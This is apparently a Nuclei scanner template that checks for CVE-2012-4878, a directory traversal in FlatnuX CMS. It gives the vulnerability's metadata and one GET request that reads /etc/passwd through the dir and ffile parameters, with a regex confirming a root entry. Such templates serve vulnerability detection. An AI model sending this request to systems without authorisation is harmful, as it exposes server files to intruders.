FlatnuX CMS - Directory Traversal

id: CVE-2012-4878

info:
  name: FlatnuX CMS - Directory Traversal
  author: daffainfo
  severity: medium
  description: A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.
  impact: |
    An attacker can read or modify sensitive files on the server, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FlatnuX CMS.
  reference:
    - https://www.exploit-db.com/exploits/37034
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4878
    - http://www.vulnerability-lab.com/get_content.php?id=487
    - http://packetstormsecurity.org/files/111473/Flatnux-CMS-2011-08.09.2-CSRF-XSS-Directory-Traversal.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74568
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-4878
    cwe-id: CWE-22
    epss-score: 0.00537
    epss-percentile: 0.7717
    cpe: cpe:2.3:a:flatnux:flatnux:2011-08-09-2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: flatnux
    product: flatnux
  tags: cve,cve2012,lfi,traversal,edb,packetstorm,flatnux,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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